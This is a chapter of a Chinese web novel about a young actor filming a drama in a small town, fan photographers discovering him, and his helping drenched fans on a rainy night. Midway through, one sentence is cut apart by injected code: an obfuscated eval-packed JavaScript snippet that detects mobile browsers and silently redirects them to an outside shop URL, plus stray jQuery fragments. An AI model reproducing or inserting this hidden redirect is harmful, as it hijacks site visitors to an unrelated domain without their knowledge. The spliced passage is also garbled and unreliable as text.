《如戏》开拍的第一天，谢浔在河口镇的日子正式开始了。
剧组租了镇上一家废弃的修理厂作为主场景，生锈的铁门，油腻的地面，墙上挂着破旧的车胎和工具。角落里堆着废旧的零件，空气里弥漫着一股机油和铁锈混合的气味。
谢浔换上了那套工装，他站在修理厂门口，阳光照在他身上，暖洋洋的。
导演从监视器后面探出头，看了他一眼，点了点头。
“第一场，”导演的声音从喇叭里传出来，“林远在修理厂干活。没有台词，动作戏。你自由发挥。”
自由发挥。
谢浔走进修理厂，走到那辆报废的白色面包车旁边。车头瘪了一块，车灯碎了一个，挡风玻璃上有一道长长的裂纹。他从工具台上拿起一把扳手，蹲下来，假装在拆轮胎。手套磨着扳手，发出金属摩擦的声音，在空旷的修理厂里回响。
谢浔的扳手在螺丝上转了一圈，又转了一圈。
“卡。”导演的声音从喇叭里传出来。
谢浔停下来，转过头。
导演从监视器后面站起来，看着他，脸上没什么表情。
“重来。”导演说，“刚才那个动作太干净了。”
谢浔愣了一下。太干净了？
“林远在这个修理厂干了三年，”导演说，“他的动作应该比你更熟练，但也比你更麻木。他是在‘机械地重复’，你的动作太有意识了。”
谢浔深吸一口气，重新蹲下来。
他蹲下来，拿起扳手，套在螺丝上，转。一下，两下，三下。脑子里什么都没有，眼睛盯着那个螺丝，但什么都没在看。手套磨着扳手，金属摩擦的声音在耳边响着。
“卡。”导演的声音又响起来了。
谢浔停下来。
导演盯着监视器看了几秒，然后点了点头：“过。”
*
《如戏》的拍摄进度比谢浔预想的要快。
每天天不亮就到片场，天黑透了才收工。戏排得满，但导演的要求高，一条不过就再来一条，两条不过就再来第三条。
拍摄进行到第五天的时候，谢浔已经彻底把自己活成了林远。每天早上六点，方姐的刷子准时落在他脸上，然后他穿上那件深蓝色的工装外套，他站在镜子前，看到的是那个在修理厂日复一日沉默干活的年轻人。
他走进修理厂，蹲在那辆报废的白色面包车旁边，拿起扳手，开始拆轮胎。
他的小臂绷着，青筋在手背上微微凸起。扳手和螺丝摩擦的声音在空旷的修理厂里回响，汗水从额头上滑下来，沿着颧骨往下淌，滴在工装的领口上。
“卡。”导演的声音从监视器后面传来，“过。”
“下一场，”导演翻了一页剧本，“林远被老板骂。准备好了吗？”
谢浔点了点头，走回去。他蹲下来，把刚才拆下来的螺丝一颗一颗地捡起来，放在手边。
修理厂老板的扮演者刘老师从门外走进来，他穿着一件皱巴巴的格子衬衫，肚子很大，走路的时候皮带上的钥匙串叮叮当当地响。他站到谢浔身后，叉着腰。
“开始。”场记板落下来。
刘老板的声音从谢浔头顶炸开，整个修理厂都在嗡嗡作响：“林远！你他妈又在磨洋工？一个轮胎拆一上午，你拆的是轮胎还是航空母舰？”
声音很大，大到站在五十米外都能听得清清楚楚。林远的身体没有任何反应，只是在刘老板骂完之后，慢慢地抬起头，看了他一眼。
那一眼里什么都没有——没有害怕，没有愤怒，没有委屈。不是忍，是麻木。这只是背景音，和修理厂里的机油味、铁锈味一样，是这个环境的一部分。
然后他低下头，继续拆螺丝。
刘老板又骂了几句，骂骂咧咧地走了。
“卡。”导演说，“过。”
谢浔站起来，刘老师走过来，拍了拍他的肩膀。“小伙子，你刚才那个眼神是对的。没有反应，就是最好的反应。”
“谢谢刘老师。”
拍摄进行到第七天。
那天下午是林远和陆衡的第一场对手戏，全剧组都在抢光。冬天的阳光来得快走得也快，最佳拍摄时间不到一个小时。
导演把机位架在修理厂对面马路上，要拍一个林远蹲在台阶上吃盒饭、陆衡站在马路对面看他的长镜头。
一分钟的长镜头，不能断，不能重来，一口气拍完。
谢浔蹲在台阶上，手里端着那碗凉透了的盒饭。盒饭里的米饭已经坨了，青菜蔫了，红烧肉的油脂凝成了白色的固体。
盒饭是道具，但谢浔吃得很认真——筷子夹起一团米饭，送到嘴里，嚼。他的腮帮子鼓鼓的，嘴巴嚼的时候嘴唇微微动着，眼睛盯着地面，不是在等，只是没地方看。
对面马路上，沈岑站定了。
他穿着深灰色的风衣，风衣的领子竖起来，挡住了半张脸，只露出一双眼睛。那双眼睛很安静地看着马路对面的年轻人，看着那个蹲在台阶上吃盒饭的学徒。
片场安静极了。没有人说话，没有人走动，连风都好像停了。摄影机的镜头缓缓地推着，从全景推到中景，从中景推到近景。
谢浔低着头，一口一口地吃。他感觉到对面有一道目光落在他身上，是那道来自马路对面的、安静的、不带任何审视的、只是在看着的目光。
他不需要抬头就知道那道目光的存在。他的后颈有一点点发烫，不是阳光晒的，是被人注视时身体本能的反应。
“林远。”沈岑的声音不大，但在安静的片场里，每一个字都清清楚楚。
谢浔抬起头。他的嘴里还含着饭，腮帮子鼓鼓的。咀嚼的动作停了，嘴唇微微张着，能看到嘴里还没咽下去的米饭。他的手指微微收紧，攥着盒饭的边缘，指节泛白。
他的表情没有变化，但他的瞳孔微微缩了一下，像是被什么东西刺到了。
像一个人在黑暗的房间里待了很久，突然有人打开了门，光从门缝里漏进来，他的眼睛需要时间适应。
那道光刺眼吗？刺眼。但他没有移开目光。
他看着马路对面的那个陌生人。那个陌生人也看着他。两个人隔着一条马路对视，谁都没有动。
摄影机在转，录音师举着话筒一动不动，导演没有喊卡。
谢浔低下头，把嘴里的饭咽下去，又夹了一口，继续吃。他的手在微微发抖，但他的表情是平静的。
“卡。”导演的声音从喇叭里传出来，“过。非常好。”
谢浔站起来，把盒饭放在台阶上，揉了揉蹲麻的腿。
沈岑从对面马路走过来，拍了拍他的肩膀。“你刚才的反应是对的，你演出来了。”
谢浔点了点头，没有说话。
*
“困死我了，这剧组太爱拍早戏了，要不是为了沈哥，我才不起早。”小陆，沈岑的站姐，已经在河口镇待了半个月。她每天早早起床，扛着相机在酒店到片场的路上蹲守，拍沈岑上班的路透。
“谁说不是呢，念念拍戏也是早出晚归的，这剧组挺赶的。”小可，纪念的站姐。
两人站在众多粉丝身后，架着长焦镜头，猛地喝了口咖啡。
小陆镜头在取景器里漫无目的地扫过街道，然后停住了。
取景框里出现了一个人。白色卫衣，黑色长裤，旧棉服。他的头发被风吹得有点乱，额前的碎发垂下来，挡住了半边额头。他的眼睛看着前方，没有看镜头，表情很淡。
小陆的手指没有犹豫，按下了快门。她不知道他是谁，但那个画面——清晨的街道，灰色的水泥路，两排光秃秃的行道树，一个穿白色卫衣的年轻人从远处走来——很好看。
她又拍了几张。他走近了，侧脸从取景框里经过，鼻梁的线条在晨光里显得很清晰。
“你在拍什么？”小可看了眼酒店，纪念和沈岑都还没出来。
小陆低头翻看刚才拍的照片。
第一张是远景，他站在行道树下面，头顶的树枝光秃秃的，天空是灰蓝色的，他的白色卫衣在灰蒙蒙的背景里显得很干净。第二张是中景，他走到了路灯下面，路灯没亮，但他的轮廓被晨光照出了一层很淡的金色。第三张是近景，他从取景框里经过的那一瞬间抓到的——侧脸，睫毛低垂，嘴唇微微抿着，围巾挡住了下巴。
“你在看什么？”小可凑过来，看到屏幕上那张侧脸照，愣了一下。“这人谁？长得好好看。”
“不知道，新人吧，看上去挺有感觉的，随便拍拍。应该和沈哥一个剧组的，这几天老看到他往片场去。”
她把这几张照片存了下来。
几分钟后，沈岑从酒店出来了。小陆的注意力立刻转到了沈岑身上，镜头跟随着他的身影，一路拍到片场门口。她拍了几十张沈岑的图，每一张都精心构图、对焦、调光。早上蹲守的任务完成了，她收起相机，回了住处。
当天晚上，她在电脑上整理照片，又翻到了那几张——清晨的街道，长相精致的男生。她盯着那个人的侧脸看了几秒，把其中一张调了调色，存进了一个新建的文件夹。
文件夹的名字叫“不知道是谁”。然后她继续修沈岑的图。
第二天早上，同样的时间，同样的地点。
小陆又看到了那个人。他还是从酒店的方向走来，白色卫衣换成了黑色高领毛衣，旧棉服还是那件。
他今天走得更慢了一些，手里拿着一杯豆浆，边走边喝，豆浆的热气在晨风里升起一小团白雾。
小陆又拍了几张。这次她注意到他手腕上有一条手链，深蓝色的编绳，中间串着一颗银色的小星星。阳光照在上面，闪了一下。
她把这几张也存进了那个文件夹。
第三天，第四天，第五天。她每天都能在那个路口看到他。她不知道他是谁，不知道他叫什么名字，不知道他在剧组里演什么角色。她只知道他每天很早从酒店出来，沿着主街往片场走。
她拍了很多张。
实在没忍住，她在站姐群里发了一条消息：“有人知道《如戏》剧组里一个像是配角的男生是谁吗？每天早上从酒店走路去片场那个。”
群里有人回复：“是不是长得挺好看的，很白，很高？”
“对。就是他。”
“不知道。我也看到过几次，但不知道叫什么。”
“拍张照看看？”
小陆发了一张远景照——灰蓝色的天空，光秃秃的行道树，一个穿白色卫衣的年轻人走在晨光里。
群里沉默了大概十几秒。然后消息开始一条一条地往外蹦。
“这谁？好好看。”
“这侧脸绝了。”
“他走路的样子好好看。”
“有人知道名字吗？”
“不知道。完全没见过。”
“会不会是《如戏》的新人？”
“有可能。剧组还没官宣配角。”
“拍点正脸看看？”
小陆翻了翻相机，找到一张前几天拍的——他走近了，从取景框里经过的瞬间，抓到了一张正脸。光线不太好，有点逆光，但五官能看清。她把那张发了上去。
群里又炸了。
“这眼睛，像是有故事。”
“他站在那里好安静，和周围的环境特别搭。”
“求名字！”
“有没有人认识？”
没有人知道他的名字。
当天晚上，小陆把沈岑的路透图发到了微博上。她没有刻意拍那个人，但有一张沈岑从酒店出来的图里，画面的边缘有一个模糊的背影——白色卫衣，深蓝色围巾，正往片场的方向走。她把图发了上去，配文是“沈老师今天状态超好”。
评论区有人注意到了那个背影。“角落里的那个是谁？”“求正脸！”
但有人在另一条微博里认出了他。
那天，纪念的站姐也在河口镇蹲守。她拍了一组纪念从酒店出来的路透图，其中一张是纪念站在酒店门口整理头发，背景是主街。主街上，一个清隽的年轻人正好路过，被拍进了画面的角落里。
她把那张图发到了纪念的超话里。评论区又有人注意到了角落。
“不是路人吧？好像是剧组的演员。”“之前沈岑站姐发的图里也有他！”
两张图在各自的超话里转了几次，又被转到了别的超话。有人截图发了一条微博：“《如戏》片场惊现神秘帅哥，无人知晓姓名，求扩。”
转发量不大，只有几百次。但评论区开始有人重复同一句话——“我知道他。他叫谢浔。就是之前唱歌视频那个。”
小陆转发截图在群里询问：“唱歌视频？”
“对。音乐广场唱《蝴蝶》，播放量很高的那个。你搜一下。”
小陆打开搜索栏，输入了“音乐广场蝴蝶”几个字。页面跳出来第一条就是那个唱歌的视频——他坐在舞台上，抱着吉他，低着头，灯光从头顶照下来。她点了播放。吉他声响起来，他声音很稳。
她听完了整首歌。
然后她把那个视频转发到了群里。“是他。”
群里又炸了。“唱歌这么好听？”“声音好好听。”“他是演员还是歌手？”“好像都是。”“他什么时候出道？”“已经出道了吧？不是签了公司吗？”
“哪个公司？”
“不知道。”
小陆翻出这几天拍的那些照片，选了三张最好的，调了色，修了图，换了个私人号，在微博上发了一条。
没有配文，只有三张照片和三颗星星的emoji。
*
拍摄进行到第十四天，河口镇连晴了半个月的天突然翻了脸。
下午三点刚过，天色就暗了下来。云压得很低，空气里弥漫着一股潮湿的泥土味，闷得人胸口发慌。
安捷抬头看了一眼天，骂了一声，拿起对讲机喊了几句什么，工作人员开始手忙脚乱地给器材搭雨棚、给线路裹防水膜。
雨说来就来，雨丝又密又急，在路灯的光里斜着飘，地面上的积水被雨点砸出密密麻麻的水泡，路灯的光透过雨幕，把整个片场罩在一层昏黄的、湿漉漉的光线里。
工作人员在雨里跑来跑去，雨衣的帽兜被风吹掉了也顾不上扶，雨水顺着脖子往里灌，每个人脸上都分不清是雨水还是汗。道具组的几个人合力把一扇道具门往雨棚底下搬，鞋子踩在水里扑哧扑哧的，打滑了好几次。灯光师站在升降机上，雨水从头顶浇下来，他眯着眼睛拧螺丝，嘴里叼着手电筒，光柱在雨幕里晃来晃去。
导演坐在监视器后面的雨棚下，面前的保温杯冒着热气，手里夹着一支没点的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17602463|204089||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
烟。他盯着剧本看了几秒，抬头看了一眼天，又低头翻了一页。
制片人撑着伞跑过来，弯着腰在他耳边说了几句什么，导演摇了摇头，把烟塞回烟盒里。
“今晚这场戏不能拖。”导演的声音不大，但很硬，“下雨就下雨，正好这场戏的情绪适合雨天。”
制片人看了他一眼，没有再说话，转身走了。
安捷在导演身后朝工作人员比了个手势，意思是“继续准备，不撤”。
沈岑从化妆间走出来，手里拿着剧本。他的助理撑着伞跟在他身后，伞面往前倾，把雨挡住了，但沈岑的皮鞋还是湿了。他在雨棚下站定，翻开剧本，最后过一遍台词。嘴唇微微动着，声音很低，只有他自己能听到。
纪念也出来了。她今天穿了一件白色的风衣，头发散着，发尾被风吹起来，沾了水珠，亮晶晶的。她的助理跟在她身后，一手撑伞一手抱着保温杯和暖手宝。
纪念在沈岑旁边站定，两个人低声对了几句台词，表情都很认真。
谢浔的戏份下午就拍完了。
他卸了妆，换回自己的衣服。方姐在他出门的时候喊了一句：“晚上降温，别感冒了，明天还有戏。”
他应了一声，撑着那把黑色的折叠伞，走出了化妆间。他没有往酒店的方向走，而是往片场的方向。
雨太大了，伞面被雨点砸得噼里啪啦响，伞骨在风里微微变形。他双手握紧伞柄，低着头，逆着风往前走。裤腿很快就湿透了，布料贴在脚踝上，凉飕飕的。
他走到片场外围，在铁栏杆旁边站定。这里离主拍摄区大概五十米，能看清沈岑和纪念的动作。
雨声太大了，台词被雨声盖住了，只剩下模糊的音节和情绪。
但谢浔不需要听清台词，他想看的不是台词。他想看沈岑和纪念在雨里的状态——他们怎么处理被雨打乱节奏的表演，怎么在恶劣的环境里保持情绪的连贯，怎么让雨水成为表演的一部分而不是干扰。
沈岑和纪念的对手戏开始了。
这场戏的情绪本来就很重——两个人在雨夜里对峙，一个质问，一个沉默。
雨水顺着他们的脸往下流，像是眼泪，又比眼泪更有分量。沈岑的声音很大，大到隔着五十米和雨幕都能听到。纪念的声音很小，但那种小不是怯懦，是把所有情绪都压在嗓子眼里的克制。
谢浔看着他们的走位——沈岑每说一句台词就往前走一步，纪念每听一句就往后退一步。两个人之间的距离从两米变成一米，从一米变成半米，最后沈岑站定在纪念面前，两个人的伞碰到了一起，雨水顺着伞骨汇成一股，从他们中间落下来。
谢浔在心里记下了这个调度。进与退的节奏，每一步都踩在台词的换气点上，像是排练过无数次，又像是即兴的、本能的反应。
铁栏杆外面，站着几个女生。
她们和谢浔隔着一条窄窄的走道，站在片场外围的警戒线外面。
一共五个人，有的撑着伞，有的穿着雨衣。撑伞的那个女生伞面被风吹翻了好几次，她手忙脚乱地翻回来，手被伞骨弹了一下，疼得甩了甩。穿雨衣的那几个也好不到哪去，雨衣的帽兜不够大，雨水顺着脸颊往下淌，她们的头发湿透了，贴着脸，口红也掉了，嘴唇冻得发白。
但她们没有走。
她们是沈岑和纪念的粉丝，从外地赶过来的。她们每天早早起床蹲人，晚上等到收工才回去。
她们来这里不是为了别的，就是为了看他们一眼。拍几张照片，喊一声名字，确认自己喜欢的那个人的状态是好的，然后心满意足地回去。
谢浔看了她们一眼，没有说什么。他转过头，继续看沈岑和纪念拍戏。
雨越下越大，风也起来了，把雨丝吹成了横着的。谢浔的伞被风吹得往外翻，他用力按住伞骨，伞面鼓起来又瘪下去，雨水从他的袖口灌进去，流到了手链上。银色的小星星被雨水打湿了，在路灯的微光里闪了一下。
那几个粉丝还在。
她们缩在一起，用一把大伞挡着风，另外几个人躲在伞后面，像一窝挤在一起取暖的动物。
其中一个穿白色冲锋衣的女生手里举着一张沈岑的应援手幅，手幅已经被雨水打湿了，边角卷起来，沈岑的脸被水浸得有点模糊，但她还是举得很高。
风又大了一阵。穿白色冲锋衣的女生手里的手幅被卷走了。她没反应过来，手还举着，保持着举着手幅的姿势，但手里空了。
那张A3纸大小的手幅被风卷起来的时候像一只断了线的风筝，翻着跟头往雨幕里飞，在雨里翻了好几圈，越飞越远。
路面上全是水，女生脚底打滑。
谢浔看了两秒，走了过去。
他低着头，大步走到马路对面，弯腰捡起那张湿透了的手幅。手幅上的沈岑已经完全看不出原来的样子了，颜色混在一起，像一幅抽象画。
他走回去，站在那个女生面前。
“你的。”
女生愣了一下。她抬起头，眯着眼，看清了面前的人——头发湿了，额前的碎发贴在额头上，水珠顺着鼻梁往下淌，他的眼睛很亮，在雨里显得比平时更深。
他手里攥着那张手幅，雨水从他攥紧的指缝里往下滴。
“谢……谢谢。”她接过来，手幅湿透了，沉甸甸的，她接过去，攥在手心里，攥得很紧。
“雨太大了，”他的声音不大，但雨声里每个字都很清楚，“你们早点回去。这里晚上没有路灯，你们回去的时候小心点。”
他没有等她们回答，转身走了。
走出去两步，又停下来，回头看了一眼。
“手幅...你们对沈老师的心意他会知道的。”
几个女生站在原地，看着他的背影消失。
“他好好啊。”穿白色冲锋衣的女生攥着手幅，低头看了一眼。
当天晚上，最新才创的谢浔的超话里出现了一条新帖子。
发帖人是那个穿白色冲锋衣的女生。
“今天在片场蹲沈老师，下大雨，我的应援手幅被风吹走了。谢浔帮我捡了回来。他说‘雨太大了，你们早点回去’，还说‘这里晚上没有路灯，回去的时候小心点’。他本人比照片好看一万倍，人帅心善！”
配图是一张模糊的背影照——黑色雨伞夹在胳膊底下，白色卫衣湿透了贴在身上，深蓝色围巾在风里飘起来。
评论区很快就热闹了起来。
“是谢浔！！”
“看背影就知道是他。”
“他怎么连背影都好看。”
*
谢浔不知道这些。他回到酒店，洗了热水澡，翻开笔记本。
【好大的雨，你得赶紧休息，不要感冒了。】
“好。”
他想了想，又写了一句：
“今天在片场外面遇到几个粉丝，帮她们捡了手幅。其实我以前挺不理解的，觉得根本不会被看见，根本没必要这样。”
【现在呢？】
“我觉得大家都有表达自己心意的方式，这样也很好，但是要注意安全。”
【你长大了。】
“我只是以前有时候想法会有些消极。”谢浔有些脸红：“不是不成熟。”
姜漫看着谢浔那张脸，笑出了声。
有点可爱。